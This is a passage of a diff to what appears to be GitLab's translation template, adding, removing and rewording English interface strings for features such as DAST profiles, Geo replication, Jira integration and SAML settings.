@@ -8773,6 +9058,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8818,9 +9106,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8878,9 +9163,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8935,12 +9229,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8974,6 +9277,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8983,21 +9289,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -9142,9 +9442,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -9166,6 +9463,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9319,6 +9619,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9382,6 +9685,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9688,8 +9994,14 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9784,6 +10096,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9853,6 +10168,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9913,6 +10234,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9946,6 +10270,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9976,12 +10303,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -10063,6 +10402,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -10093,6 +10435,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10534,13 +10879,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10651,9 +11002,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10681,9 +11029,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10801,9 +11146,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10963,13 +11305,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10984,7 +11326,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -11242,6 +11584,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11485,6 +11830,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11497,6 +11845,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11716,6 +12067,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11740,6 +12094,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11752,6 +12109,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11764,6 +12124,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11875,6 +12238,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11944,9 +12310,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12574,19 +12937,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12595,7 +12958,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12706,9 +13069,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12775,6 +13135,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12844,6 +13207,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12856,12 +13222,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12889,9 +13249,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12913,13 +13270,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -13018,6 +13378,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -13045,9 +13408,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -13096,9 +13465,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -13153,9 +13519,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13543,10 +13906,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13579,7 +13942,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13681,6 +14044,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13729,12 +14095,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13744,9 +14113,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13771,6 +14137,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13780,6 +14149,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13795,6 +14167,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13813,9 +14188,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -14077,6 +14449,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14119,9 +14494,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -14146,6 +14527,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -14179,6 +14569,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -14206,6 +14602,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -14218,6 +14617,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -14245,6 +14668,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -14257,6 +14683,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -14290,6 +14719,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14335,6 +14767,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14464,6 +14899,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14587,6 +15028,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14629,9 +15088,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14761,16 +15217,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14782,6 +15235,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14839,6 +15295,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14920,9 +15382,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -15025,9 +15484,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -15043,7 +15508,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -15139,9 +15607,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15337,9 +15802,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15475,9 +15937,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15664,6 +16123,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15832,6 +16294,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -16000,9 +16468,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -16054,12 +16519,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -16069,9 +16537,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16657,6 +17122,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16831,6 +17299,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16876,9 +17347,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16903,6 +17371,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16939,9 +17410,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -17137,7 +17605,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -17146,7 +17614,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -17155,25 +17623,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -17188,6 +17656,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17350,6 +17821,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17359,6 +17833,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17446,6 +17923,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17509,6 +17989,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17596,6 +18079,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17608,9 +18094,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17650,7 +18145,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17671,7 +18169,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17683,12 +18181,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17905,15 +18409,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
